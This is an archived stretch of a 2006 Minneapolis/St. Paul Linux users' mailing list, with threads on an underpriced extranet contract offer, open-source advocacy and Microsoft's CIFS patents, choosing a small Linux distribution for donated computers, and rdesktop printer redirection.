people can ask for whatever they want. They're not going to get what they're hoping for though. You think you've contracted for a highly secure web site but you've hired a kid right out of high school with no real world experience and there are security holes all over the place. .../Ed -- Ed Wilts, RHCE Mounds View, MN, USA mailto:ewilts at ewilts.org Member #1, Red Hat Community Ambassador Program From jima at beer.tclug.org Mon Mar 27 07:30:51 2006 From: jima at beer.tclug.org (Jima) Date: Mon, 27 Mar 2006 07:30:51 -0600 (CST) Subject: [tclug-list] our new CFO challenging my FOS advocacy In-Reply-To: References: <442769A4.9090307@greatlakedata.com> Message-ID: On Mon, 27 Mar 2006, Richard Harding wrote: > We use quickbooks here and I've worked with several small business's > that swear by quickbooks. I know some who swear *at* Quickbooks, actually. Not saying it'd be easy to move away from it, though. My employers still haven't, and management supports a Quickbooks purging. Can't imagine how hard it'd be if I needed to convince them, too. Fortunately, though, no one has really challenged any of the other FOS software we've deployed. Knock on wood... Jima From slushpupie at gmail.com Mon Mar 27 08:49:51 2006 From: slushpupie at gmail.com ( ) Date: Mon, 27 Mar 2006 08:49:51 -0600 Subject: [tclug-list] Linux design software recomendations In-Reply-To: <4425CCC1.5010706@cdf123.net> References: <4425CCC1.5010706@cdf123.net> Message-ID: On 3/25/06, Chris Frederick wrote: > Like I said, xfig is great, but it's only a 2D editor, and I really > think a 3D system is what I need. With that said, I'm doing all this in > my spare time (I'm a programmer full time) and I don't want something > that is too difficult. I think I only use about half or less of what > xfig can do in 2D. I don't think I need to learn a full fledged 3D CAD > system to build a book shelf or and end table or something. I need > something simple and easy. Build shapes, change dimensions, rotate, > scale, zoom, etc... > > Of course it needs to run on Linux, and as being a gentoo user, having > it in portage is a plus. Since this is only a hobby, I'd like it to be > free. A "GPL-ish" license isn't necessary, but it would be cool (I'm a > programmer after all). > > Does anyone have any recommendations for something similar to what I'm > describing, or had success with other software that can do some of what > I want? Check out qcad. It not exactly what you describe and has a slightly steeper learning curve than xfig, but dosnt take too long to learn if you have done any sort of drafting in the past. qcad can be found here: http://www.ribbonsoft.com/qcad.html Im not a gentoo user, but I think qcad is in portage -- Jay Kline http://www.slushpupie.com/ From sac at cheesecake.org Mon Mar 27 09:00:08 2006 From: sac at cheesecake.org (Sidney Cammeresi) Date: Mon, 27 Mar 2006 09:00:08 -0600 Subject: [tclug-list] OT - Contract offer, opinions? In-Reply-To: References: Message-ID: <20060327150008.GA22774@cheesecake.org> On Mon, 27 Mar 2006 at 04.30.48 -0600, Sean Waite wrote: > A friend passed along this contract offer, and to say the least I was > a bit taken back by what was being offered. Below is what was listed > for the contract proposal. Now here is what is rather amusing, the > project is budgeted for $500-1000. Is it just me or is this ridiculously > low? Problem is I am seeing this all over. Has IT work just become so > meaningless these days or what? while it's possible some of this functionality could be got from free software, the e-mail is clearly worded to indicate that the author expects someone will write all this software from scratch for $500-1000. that's fucked up, and it can only end as a disaster. this is just trash, and i would treat it as such. i don't even respond to garbage e-mails like this any more. -- Sidney CAMMERESI http://www.cheesecake.org/sac/ From chewie at wookimus.net Mon Mar 27 09:47:36 2006 From: chewie at wookimus.net (Chad Walstrom) Date: Mon, 27 Mar 2006 09:47:36 -0600 Subject: [tclug-list] OT - Contract offer, opinions? In-Reply-To: <20060327150008.GA22774@cheesecake.org> References: <20060327150008.GA22774@cheesecake.org> Message-ID: <20060327154736.1367A1293@skuld.wookimus.net> On Mon, 27 Mar 2006 at 04.30.48 -0600, Sean Waite wrote: > Now here is what is rather amusing, the project is budgeted for > $500-1000. Is it just me or is this ridiculously low? Yes, it is. At $50/hr, a dirt-cheap rate for consulting work, $400 would be consumed in 8 hours. You're not likely going to find an Oracle administrator/engineer for that rate. So, to set up the server, let's say you go through $100/hr. That leaves $200 for the website development. The request is ridiculous. He's likely going to get a better offer from some Indian hosting company; something I would wouldn't recommend to anyone. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ From auditodd at comcast.net Mon Mar 27 11:04:29 2006 From: auditodd at comcast.net (auditodd at comcast.net) Date: Mon, 27 Mar 2006 17:04:29 +0000 Subject: [tclug-list] OT - Contract offer, opinions? Message-ID: <032720061704.15328.44281B1D000E90A600003BE022007347480B0B019B070B9A0E@comcast.net> This is hilarious! This jerk wants someone to create an entire infrastructure and design the front end for a trouble ticket system and only pay them $1000? Oh and he "owns" all the copyrights too? Dream on. -- ---- ------ Todd Young -------------- Original message ---------------------- From: "Sean Waite" > A friend passed along this contract offer, and to say the least I was a bit > taken back by what was being offered. Below is what was > listed for the contract proposal. Now here is what is rather amusing, the > project is budgeted for $500-1000. Is it just me or is this > ridiculously low? Problem is I am seeing this all over. Has IT work just become > so meaningless these days or what? BREAK- I cut some stuff out here...... > > > >All work done will belong to me, copyrights, etc. > > > >Reference website: > >http://www.trichys.com/intranet-extranet/extranet-solution.vm > > >I need the entire functionality of this website in order to provide it to > >a very small number of companies I will be servicing as computer services; > >no cost to them. From tj at kewlness.net Mon Mar 27 11:40:40 2006 From: tj at kewlness.net (T.J. =?ISO-8859-1?Q?Duch=E9ne?=) Date: Mon, 27 Mar 2006 11:40:40 -0600 Subject: [tclug-list] 2. our new CFO challenging my FOS advocacy (greg wm) Message-ID: <1143481240.5183.63.camel@localhost.localdomain> I'm sorry to say that it is unlikely that you will find any change in attitude concerning Microsoft and corporate thinking. >From start to finish, Microsoft has aggressively pursued a strategy of integration and interdependence. After 10 years or more, you see the fruits of their labor. The business world has become so deeply entrenched in it that it will take at least another 15 years or so to break that cycle. That of course, means that something disasterous will have to happen to break that hold, before change can even start. It is unlikely the the DoJ will actually fulfill any anti-trust settlement, because Microsoft and it's followers have pretty much bought their way out of the spirit of the law. As it currently stands, I'm sorry to say, the most likely you will get is to sneak in a server every now and then. I can imagine only 4 future scenarios that will work in your benefit, Greg. 1. It is a fact that hetrogeneous networks are far less likely to fail completely. In other words, if it's all Microsoft, the first big nasty problem will wipe it out. Corporate disaster management seldom takes that into account. These are great concerns, normally ignored by everyone. Software engineers, and IT managers seldom sleep at night. Now that it is a Microsoft world, it is only a matter of time before a new virus will arrive that will massively cripple computer systems across the globe in a matter of hours or days. 2. Someone develops a solid, open-sourced, free middleware platform and Application Program Interface. Java was originally intended to be this platform, but due to Microsoft's direct and deliberate interference in 1990's, as well as Sun Microsystems' policies, that hasn't occurred. A middleware platform would allow programs to be developed wholesale that are not dependent on Windows to run, hence Windows would not be required. Microsoft is so afraid of programs being ported to and from Windows that they deliberately removed all POSIX cross-platform from Windows 2000 and up, even though Microsoft was one of the original signatories of the standard. This makes it purposely difficult to migrate software to and from Windows, encouraging vendor lock-in. 3. The open source world creates products on the Windows platform, or creates interoperable systems, thus displacing their corporate counterparts. I think this is the most unlikely scenario actually. Programmers are an antagonistic group - I know, as I am one. We either hate or love Microsoft. There are very few in between. Microsoft has done a very good job at PR to polarize the programmers, because programmers are what make or break Microsoft. There literally are schools that are sponsored by Microsoft to ensure that new programmers are exposed to Microsoft first, or depending on your point of view - with - any alternatives. Now that software patents are wholesale in the industry, it makes this even more unlikely. Microsoft patented their CIFS protocol, aka "file-sharing" in Windows, then licensed to everyone as an open standard - BUT deliberately said you CANNOT use it for GPL or other similar "share-alike" licenses. You can look it up, if you don't believe me. To do so is a legal liability here in the US. 4. Microsoft's licensing and subscriptions will cost too much to be viable. Currently, the subscription model used by Microsoft is only a problem for small to mid-range businesses. The corporate giants have money to burn. Sorry to be so negative, but it's a harsh IT world out there. Fortunately, I work with an ISP who has Windows servers, but runs a 70/30 shop with "*nix" as the 70 percent. -- "So many of our dreams at first seem impossible, then they seem improbable, and then when we summon the will, they soon become inevitable." - Christopher Reeve From lcojiml at yahoo.com Mon Mar 27 11:43:41 2006 From: lcojiml at yahoo.com (Jim Louis) Date: Mon, 27 Mar 2006 09:43:41 -0800 (PST) Subject: [tclug-list] OT - Contract offer, opinions? In-Reply-To: Message-ID: <20060327174341.80827.qmail@web35404.mail.mud.yahoo.com> The problem is that someone will start the job, do it crappy, and then leave because it was too much work to begin with. Then it will be open source just doesn't work because of _all_the_standard-reasons_. Possibly. my 0.02 Jim Sean Waite wrote: A friend passed along this contract offer, and to say the least I was a bit taken back by what was being offered. Below is what was listed for the contract proposal. Now here is what is rather amusing, the project is budgeted for $500-1000. Is it just me or is this ridiculously low? Problem is I am seeing this all over. Has IT work just become so meaningless these days or what? >1) setup a very secure Linux RedHat Enterprise SSL website with Oracle >backend database. > >2) Website design and extranet for clients with the following functionality: > >- Attractive design with some initial welcome photoshop in the main >welcome screen. - Designed for the non-technical user, so that users may >be able to submit technical support tickets. - Fully enabled access from >any web browser. - User login and password per company, each company may >have several employees, all with access to their trouble ticketing system. >Employees with role based menus. - Ability to create a folder structure >that reflects the working framework per organization served. - Easy access >to latest versions of documents (document versioning). - Ability from >users to upload documents (PDF, Excel, Word, etc.) - email notification >when a client uploads a file, or makes a comment on a document. - Ability >to view documents online, instead of downloading attachments. - Documents >with permanent comment logs. - Ability to track projects. - Online >calendar of activities per client company basis, so customers will know >about scheduled time for projects, etc. - Customized branding to indentify >client organizations (upload their own logo). - Protected by 128bit SSL >encryption. - Ability from users to create troubletickets, and track >progress online. Logs. > >All work done will belong to me, copyrights, etc. > >Reference website: >http://www.trichys.com/intranet-extranet/extranet-solution.vm >I need the entire functionality of this website in order to provide it to >a very small number of companies I will be servicing as computer services; >no cost to them. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota tclug-list at mn-linux.org http://mailman.mn-linux.org/mailman/listinfo/tclug-list ///, //// \ /, / >. \ /, _/ /. James Louis \_ /_/ /. Tech Warrior \__/_ < http://tecnogichida.endoftheinternet.org /<<< \_\_ 612.203.2631 /,)^>>_._ \ lcojiml at yahoo.com (/ \\ /\\\ jglouisjr at gmail.com // ```` ======((`=======[when weather means business]======================= "I am an idealist. I don't know where I'm going but I'm on my way." - Carl Sandburg --------------------------------- Yahoo! Messenger with Voice. Make PC-to-Phone Calls to the US (and 30+ countries) for 2?/min or less. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060327/8421f751/attachment.htm From chewie at wookimus.net Mon Mar 27 12:34:03 2006 From: chewie at wookimus.net (Chad Walstrom) Date: Mon, 27 Mar 2006 12:34:03 -0600 Subject: [tclug-list] 2. our new CFO challenging my FOS advocacy (greg wm) In-Reply-To: <1143481240.5183.63.camel@localhost.localdomain> References: <1143481240.5183.63.camel@localhost.localdomain> Message-ID: <20060327183403.DB0CF1293@skuld.wookimus.net> TJ wrote: > Now that software patents are wholesale in the industry, it makes > this even more unlikely. Microsoft patented their CIFS protocol, aka > "file-sharing" in Windows, then licensed to everyone as an open > standard - BUT deliberately said you CANNOT use it for GPL or other > similar "share-alike" licenses. You can look it up, if you don't > believe me. To do so is a legal liability here in the US. I don't have the time to do the research to validate this statement. I'm interested in the links that you could provide to support it. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ From wjohnson at mqsoftware.com Mon Mar 27 13:13:24 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Mon, 27 Mar 2006 13:13:24 -0600 Subject: [tclug-list] 2. our new CFO challenging my FOS advocacy (gregwm) Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD012799AD@mailservermn.mqsoftware.com> I was also under the impression that if a patent on a process was in common use before it is patented, the patent is void. Samba has been out there for quite a while. Just imagine if someone tried to patent ice. -----Original Message----- From: tclug-list-bounces at mn-linux.org [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Chad Walstrom Sent: Monday, March 27, 2006 12:34 PM To: tclug-list at mn-linux.org; T.J." Duch?ne Subject: Re: [tclug-list] 2. our new CFO challenging my FOS advocacy (gregwm) TJ wrote: > Now that software patents are wholesale in the industry, it makes > this even more unlikely. Microsoft patented their CIFS protocol, aka > "file-sharing" in Windows, then licensed to everyone as an open > standard - BUT deliberately said you CANNOT use it for GPL or other > similar "share-alike" licenses. You can look it up, if you don't > believe me. To do so is a legal liability here in the US. I don't have the time to do the research to validate this statement. I'm interested in the links that you could provide to support it. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota tclug-list at mn-linux.org http://mailman.mn-linux.org/mailman/listinfo/tclug-list From wjohnson at mqsoftware.com Mon Mar 27 13:18:52 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Mon, 27 Mar 2006 13:18:52 -0600 Subject: [tclug-list] 2. our new CFO challenging my FOS advocacy (gregwm) Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD012799AE@mailservermn.mqsoftware.com> There is also this: http://us1.samba.org/samba/ms_license.html "Some people have incorrectly assumed that Samba must implement the methods described in these patents. In fact, the methods described in these patents are quite inappropriate for a Unix/POSIX CIFS implementation such as Samba. It would not even be possible to implement the methods described in these patents in a portable POSIX application. Instead, Samba treats the SMBreadbraw and SMBwritebraw protocol elements in the same way as all other elements of the CIFS/SMB protocol. This means that as far as we are aware Samba is completely unaffected by the existence of these patents." "We would like to also point out that these patents cover an obsolete section of the CIFS/SMB protocol that Microsoft themselves have abandoned in their own products long ago. Microsoft abandoned these "raw" protocol operations in CIFS because their basic design is fatally flawed. " -----Original Message----- From: tclug-list-bounces at mn-linux.org [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Chad Walstrom Sent: Monday, March 27, 2006 12:34 PM To: tclug-list at mn-linux.org; T.J." Duch?ne Subject: Re: [tclug-list] 2. our new CFO challenging my FOS advocacy (gregwm) TJ wrote: > Now that software patents are wholesale in the industry, it makes > this even more unlikely. Microsoft patented their CIFS protocol, aka > "file-sharing" in Windows, then licensed to everyone as an open > standard - BUT deliberately said you CANNOT use it for GPL or other > similar "share-alike" licenses. You can look it up, if you don't > believe me. To do so is a legal liability here in the US. I don't have the time to do the research to validate this statement. I'm interested in the links that you could provide to support it. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota tclug-list at mn-linux.org http://mailman.mn-linux.org/mailman/listinfo/tclug-list From k0sdh at visi.com Mon Mar 27 18:06:31 2006 From: k0sdh at visi.com (Steve) Date: Mon, 27 Mar 2006 18:06:31 -0600 Subject: [tclug-list] Small Linux Distro Message-ID: <1143504391.3756.24.camel@localhost.localdomain> Need Help, The "Little Brothers, Friends of the Elderly" organization in the Twin Cities area helps older people live an interesting life, especially those whose spouses/significant others are deceased. It is primarily a non-profit supported by contributions of money and time by volunteer helpers/workers. You may or maynot be familiar; sorry for verbage if you are. O.K. they replaced all the office computers recently and now have a dozen or so which they would like to place in elder/client homes for their use. I have volunteered to erase all office data on hard drive and install email and word processing software. Now we are getting to the problem; the computers have MS Windows 2000 Pro as OS and most have only 15 gig hard drives (a couple only have 2 gig drives - those probably won't be used). The boxes are password protected and the pw's are not always available. So my thinking is to reformat & install Linux (my experience is quite limited). I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a box. It works great but required considerably more than 15 gigs. Is the a Linux distro plus email and word processor which can be put into approx 10 or 12 gig drive space?? BTW - if you happen to be available during business hours Mon - Fri, you are welcome to help with project. Thanks, Steve -- Jeni & Steve's address now is aa0p at arrl.net From tj at kewlness.net Mon Mar 27 18:19:18 2006 From: tj at kewlness.net (T.J. =?ISO-8859-1?Q?Duch=E9ne?=) Date: Mon, 27 Mar 2006 18:19:18 -0600 Subject: [tclug-list] CIFS/SMB Message-ID: <1143505159.6308.26.camel@localhost.localdomain> TJ wrote: > Now that software patents are wholesale in the industry, it makes > this even more unlikely. Microsoft patented their CIFS protocol, aka > "file-sharing" in Windows, then licensed to everyone as an open > standard - BUT deliberately said you CANNOT use it for GPL or other > similar "share-alike" licenses. You can look it up, if you don't > believe me. To do so is a legal liability here in the US. In response to emails received, I didn't say the patent was logistically enforceable, or even sensible given the SAMBA implimentations. You can read more about it on SAMBA's website if that's what worries you. I don't want to start a flamewar on the topic of intellectual property rights and patents. That in and of itself is a nest of deadly vipers that nobody wants to touch. I simply said they can and did patent SMB/CIFS. If you use the portions described in the MS documentation with the GPL, you run awry of MS. They did deliberately exclude GPL implimentations in their free use license. That, by itself is a "red light", in my opinion. That notably does not exclude the MIT/BSD licenses as far as I can tell - but hey, I'm not a lawyer. My point was that MS functions on the philosophy of "users embrace, then extend and patent" in order to control. And yes, look at the USTPO (US Trademark and Patent Office) record of operations in the last 10 years, and you will see that they allow such nonsense - even when the technology has been available to the public for years. If you can generate enough fear of costly patent infringement litigation, you can easily drive programmers off. Look at multimedia on Linux, as another example. From what I've seen personally, 80% or more of the top-notch video and audio streaming work for Linux is developed outside the US because of issues with the US legal system of patents. Multimedia and compression are patent minefields. From rclark at lakesplus.com Mon Mar 27 18:31:03 2006 From: rclark at lakesplus.com (Randy Clarksean) Date: Mon, 27 Mar 2006 18:31:03 -0600 Subject: [tclug-list] rdesktop - pritner redirection Message-ID: <1143505863.20761.6.camel@iwill> I am having some issues in redirecting a printer to my local system when I use rdesktop as a terminal server. It was working previously, but for some reason now - it no longer works. Thoughts or suggestions welcome. Here is the command - sanitized for user and password. rdesktop -u userme -p password -g 1024x768 -r printer:IBM_17 terminal.kkai.com Here is another version that I tried as well. rdesktop -u userme -p password -g 1024x768 -r printer:IBM_17='IBM Network Printer 17(PCL)' terminal.kkai.com The system administrator on the other end does not see anything in the log files that I am requesting the redirection of a printer. Other users are making it work via MSWindows boxes ... so the redirection does work for them. FC3 with all the latest updates is what I am using. Thoughts? Suggestions? Thanks in advance. Randy From aristophrenic at warpmail.net Mon Mar 27 18:36:55 2006 From: aristophrenic at warpmail.net (Isaac Atilano) Date: Mon, 27 Mar 2006 18:36:55 -0600 Subject: [tclug-list] Small Linux Distro In-Reply-To: <1143504391.3756.24.camel@localhost.localdomain> References: <1143504391.3756.24.camel@localhost.localdomain> Message-ID: <1143506215.10957.257672894@webmail.messagingengine.com> If you're looking for just email and word processing, most distributions should do. Vector Linux is very lightweight and easy to install and has your basic programs. Personally I'd use Gentoo since it's extremely customizable. I'm not very familiar with Ubuntu but how can a CD install be over 15 Gigs? Unless you're downloading a ton of packages, any distribution install shouldn't be more than a few gigs and anything over 2 Gigs, I consider cluttered. ----- Original message ----- From: "Steve" To: "TCLUG reflector" Date: Mon, 27 Mar 2006 18:06:31 -0600 Subject: [tclug-list] Small Linux Distro Need Help, The "Little Brothers, Friends of the Elderly" organization in the Twin Cities area helps older people live an interesting life, especially those whose spouses/significant others are deceased. It is primarily a non-profit supported by contributions of money and time by volunteer helpers/workers. You may or maynot be familiar; sorry for verbage if you are. O.K. they replaced all the office computers recently and now have a dozen or so which they would like to place in elder/client homes for their use. I have volunteered to erase all office data on hard drive and install email and word processing software. Now we are getting to the problem; the computers have MS Windows 2000 Pro as OS and most have only 15 gig hard drives (a couple only have 2 gig drives - those probably won't be used). The boxes are password protected and the pw's are not always available. So my thinking is to reformat & install Linux (my experience is quite limited). I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a box. It works great but required considerably more than 15 gigs. Is the a Linux distro plus email and word processor which can be put into approx 10 or 12 gig drive space?? BTW - if you happen to be available during business hours Mon - Fri, you are welcome to help with project. Thanks, Steve -- Jeni & Steve's address now is aa0p at arrl.net _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota tclug-list at mn-linux.org http://mailman.mn-linux.org/mailman/listinfo/tclug-list From auditodd at comcast.net Mon Mar 27 18:42:58 2006 From: auditodd at comcast.net (Todd Young) Date: Mon, 27 Mar 2006 18:42:58 -0600 Subject: [tclug-list] Small Linux Distro In-Reply-To: <1143504391.3756.24.camel@localhost.localdomain> References: <1143504391.3756.24.camel@localhost.localdomain> Message-ID: <44288692.3060004@comcast.net> Ubuntu required more than 15Gigs? Are you sure? Most Linux installs I've done would fit on 2Gigs or less. Granted, I haven't personally installed Ubuntu on anything. Before you jump on the Linux bandwagon I would analyze more closely "who" has to support these PCs. If you will be the support person and are willing to spend your time great. If someone else will be supporting these computers then you should look at what OS that person (or persons) is used to supporting. Win2k is still a viable operating system (as long as it is behind a good firewall) and you can easily create multiple login profiles or none at all. Just a couple of distro suggestions if you go ahead with Linux. Mepis PCLinuxOS Slax VidaLinux(VLOS) VecorLinux (based on Slackware, fairly quick even on older hardware) CentOS If you plan to go ahead with Linux, I would grab one of the computers and play with each of the above distros and any other you want to try before installing on all of the computers. You might even consider creating an "image" machine where you apply all the patches before-hand and create images of the hard drive as you go (using Ghost or appropriate Open Source software). That way if one of the machines goes belly up, you can quickly restore it providing all the hardware is the same. Todd Young Steve wrote: > Need Help, > The "Little Brothers, Friends of the Elderly" organization in the Twin > Cities area helps older people live an interesting life, especially > those whose spouses/significant others are deceased. It is primarily a > non-profit supported by contributions of money and time by volunteer > helpers/workers. You may or maynot be familiar; sorry for verbage if > you are. > > O.K. they replaced all the office computers recently and now have a > dozen or so which they would like to place in elder/client homes for > their use. I have volunteered to erase all office data on hard drive > and install email and word processing software. > > Now we are getting to the problem; the computers have MS Windows 2000 > Pro as OS and most have only 15 gig hard drives (a couple only have 2 > gig drives - those probably won't be used). The boxes are password > protected and the pw's are not always available. So my thinking is to > reformat & install Linux (my experience is quite limited). > > I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a > box. It works great but required considerably more than 15 gigs. > > Is the a Linux distro plus email and word processor which can be put > into approx 10 or 12 gig drive space?? > > BTW - if you happen to be available during business hours Mon - Fri, you > are welcome to help with project. > > Thanks, > Steve > > > -- Todd Young From silwenae at silwenae.com Mon Mar 27 18:54:39 2006 From: silwenae at silwenae.com (Paul Cutler) Date: Mon, 27 Mar 2006 18:54:39 -0600 Subject: [tclug-list] Small Linux Distro In-Reply-To: <1143504391.3756.24.camel@localhost.localdomain> References: <1143504391.3756.24.camel@localhost.localdomain> Message-ID: <4428894F.4050502@silwenae.com> A default Ubuntu installation shouldn't be that big. Googling around, most installs looked around 2 gigs. I know you can also type in "server" (no quotes) at the boot prompt of installation for a minimal install, and then just apt-get what you need (GNOME, Openoffice, etc). --Paul Steve wrote: >Need Help, >The "Little Brothers, Friends of the Elderly" organization in the Twin >Cities area helps older people live an interesting life, especially >those whose spouses/significant others are deceased. It is primarily a >non-profit supported by contributions of money and time by volunteer >helpers/workers. You may or maynot be familiar; sorry for verbage if >you are. > >O.K. they replaced all the office computers recently and now have a >dozen or so which they would like to place in elder/client homes for >their use. I have volunteered to erase all office data on hard drive >and install email and word processing software. > >Now we are getting to the problem; the computers have MS Windows 2000 >Pro as OS and most have only 15 gig hard drives (a couple only have 2 >gig drives - those probably won't be used). The boxes are password >protected and the pw's are not always available. So my thinking is to >reformat & install Linux (my experience is quite limited). > >I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a >box. It works great but required considerably more than 15 gigs. > >Is the a Linux distro plus email and word processor which can be put >into approx 10 or 12 gig drive space?? > >BTW - if you happen to be available during business hours Mon - Fri, you >are welcome to help with project. > >Thanks, >Steve > > > > > From cncole at earthlink.net Mon Mar 27 19:05:34 2006 From: cncole at earthlink.net (Chuck Cole) Date: Mon, 27 Mar 2006 19:05:34 -0600 (GMT-06:00) Subject: [tclug-list] Small Linux Distro Message-ID: <30632172.1143507934701.JavaMail.root@elwamui-karabash.atl.sa.earthlink.net> Knoppix on one CD will do all you require. Might be best to keep this very simple. Chuck -----Original Message----- >From: Isaac Atilano >Sent: Mar 27, 2006 6:36 PM >To: aa0p at arrl.net, TCLUG reflector >Subject: Re: [tclug-list] Small Linux Distro > >If you're looking for just email and word processing, most distributions >should do. Vector Linux is very lightweight and easy to install and has >your basic programs. Personally I'd use Gentoo since it's extremely >customizable. I'm not very familiar with Ubuntu but how can a CD install >be over 15 Gigs? Unless you're downloading a ton of packages, any >distribution install shouldn't be more than a few gigs and anything over >2 Gigs, I consider cluttered. > >----- Original message ----- >From: "Steve" >To: "TCLUG reflector" >Date: Mon, 27 Mar 2006 18:06:31 -0600 >Subject: [tclug-list] Small Linux Distro > >Need Help, >The "Little Brothers, Friends of the Elderly" organization in the Twin >Cities area helps older people live an interesting life, especially >those whose spouses/significant others are deceased. It is primarily a >non-profit supported by contributions of money and time by volunteer >helpers/workers. You may or maynot be familiar; sorry for verbage if >you are. > >O.K. they replaced all the office computers recently and now have a >dozen or so which they would like to place in elder/client homes for >their use. I have volunteered to erase all office data on hard drive >and install email and word processing software. > >Now we are getting to the problem; the computers have MS Windows 2000 >Pro as OS and most have only 15 gig hard drives (a couple only have 2 >gig drives - those probably won't be used). The boxes are password >protected and the pw's are not always available. So my thinking is to >reformat & install Linux (my experience is quite limited). > >I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a >box. It works great but required considerably more than 15 gigs. > >Is the a Linux distro plus email and word processor which can be put >into approx 10 or 12 gig drive space?? > >BTW - if you happen to be available during business hours Mon - Fri, you >are welcome to help with project. > >Thanks, >Steve > > > >-- >Jeni & Steve's address now is aa0p at arrl.net > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list From admin at lctn.org Mon Mar 27 19:24:31 2006 From: admin at lctn.org (Raymond Norton) Date: Mon, 27 Mar 2006 19:24:31 -0600 Subject: [tclug-list] rdesktop - pritner redirection In-Reply-To: <1143505863.20761.6.camel@iwill> Message-ID: <000001c65206$60edb3b0$0d00a8c0@laptop1> I am having some issues in redirecting a printer to my local system when I use rdesktop as a terminal server. It was working previously, but for some reason now - it no longer works. Thoughts or suggestions welcome. '-r lptport:LPT1=/dev/lp0': enable parallel redirection of /dev/lp0 to LPT1 or LPT1=/dev/lp0,LPT2=/dev/lp1 '-r printer:mydeskjet': enable printer redirection or mydeskjet="HP LaserJet IIIP" to enter server driver as well From admin at lctn.org Mon Mar 27 19:29:56 2006 From: admin at lctn.org (Raymond Norton) Date: Mon, 27 Mar 2006 19:29:56 -0600 Subject: [tclug-list] Small Linux Distro In-Reply-To: <1143504391.3756.24.camel@localhost.localdomain> Message-ID: <000101c65207$1f9f2550$0d00a8c0@laptop1> Is the a Linux distro plus email and word processor which can be put into approx 10 or 12 gig drive space?? I do installs of Knoppix on drives as small as 3 Gb. It has everything you need. From bhartm at visi.com Mon Mar 27 20:45:52 2006 From: bhartm at visi.com (Bob Hartmann) Date: Mon, 27 Mar 2006 20:45:52 -0600 Subject: [tclug-list] Small Linux Distro In-Reply-To: <1143504391.3756.24.camel@localhost.localdomain> References: <1143504391.3756.24.camel@localhost.localdomain> Message-ID: <4428A360.8030802@visi.com> two cents: What's wrong with Win2K if it's still a legal installation? It still fits on a 2G drive, so, I'd stick with Win2K because it's more easily supported than anything but XP. I'd argue that w2k is easier to manage if I could prove it. email is the killer app, second only to the www. I've given sweet relief to my Dell-buying Windows-using friends by just moving them to Firebird and Thunderbird. That said, if linux is the way to go, I'd recommend a debian download/apt-get combo with fluxbox as a wm-- If the EUs aren't Start-Button dependant. KDE, maybe. Do you want some more 2G drives? I have some. Steve wrote: >Need Help, >The "Little Brothers, Friends of the Elderly" organization in the Twin >Cities area helps older people live an interesting life, especially >those whose spouses/significant others are deceased. It is primarily a >non-profit supported by contributions of money and time by volunteer >helpers/workers. You may or maynot be familiar; sorry for verbage if >you are. > >O.K. they replaced all the office computers recently and now have a >dozen or so which they would like to place in elder/client homes for >their use. I have volunteered to erase all office data on hard drive >and install email and word processing software. > >Now we are getting to the problem; the computers have MS Windows 2000 >Pro as OS and most have only 15 gig hard drives (a couple only have 2 >gig drives - those probably won't be used). The boxes are password >protected and the pw's are not always available. So my thinking is to >reformat & install Linux (my experience is quite limited). > >I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a >box. It works great but required considerably more than 15 gigs. > >Is the a Linux distro plus email and word processor which can be put >into approx 10 or 12 gig drive space?? > >BTW - if you happen to be available during business hours Mon - Fri, you >are welcome to help with project. > >Thanks, >Steve > > > > > From smac at visi.com Mon Mar 27 20:38:35 2006 From: smac at visi.com (Sam MacDonald) Date: Mon, 27 Mar 2006 20:38:35 -0600 Subject: [tclug-list] OT - Contract offer, opinions? In-Reply-To: References: Message-ID: <4428A1AB.1030304@visi.com> INDIA. Sam. Sean Waite wrote: >A friend passed along this contract offer, and to say the least I was a bit taken back by what was being offered. Below is what was >listed for the contract proposal. Now here is what is rather amusing, the project is budgeted for $500-1000. Is it just me or is this >ridiculously low? Problem is I am seeing this all over. Has IT work just become so meaningless these days or what? > > > >>1) setup a very secure Linux RedHat Enterprise SSL website with Oracle >>backend database. >> >>2) Website design and extranet for clients with the following functionality: >> >>- Attractive design with some initial welcome photoshop in the main >>welcome screen. - Designed for the non-technical user, so that users may >>be able to submit technical support tickets. - Fully enabled access from >>any web browser. - User login and password per company, each company may >>have several employees, all with access to their trouble ticketing system. >>Employees with role based menus. - Ability to create a folder structure >>that reflects the working framework per organization served. - Easy access >>to latest versions of documents (document versioning). - Ability from >>users to upload documents (PDF, Excel, Word, etc.) - email notification >>when a client uploads a file, or makes a comment on a document. - Ability >>to view documents online, instead of downloading attachments. - Documents >>with permanent comment logs. - Ability to track projects. - Online >>calendar of activities per client company basis, so customers will know >>about scheduled time for projects, etc. - Customized branding to indentify >>client organizations (upload their own logo). - Protected by 128bit SSL >>encryption. - Ability from users to create troubletickets, and track >>progress online. Logs. >> >>All work done will belong to me, copyrights, etc. >> >>Reference website: >>http://www.trichys.com/intranet-extranet/extranet-solution.vm >> >> > > > >>I need the entire functionality of this website in order to provide it to >>a very small number of companies I will be servicing as computer services; >>no cost to them. >> >> > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. 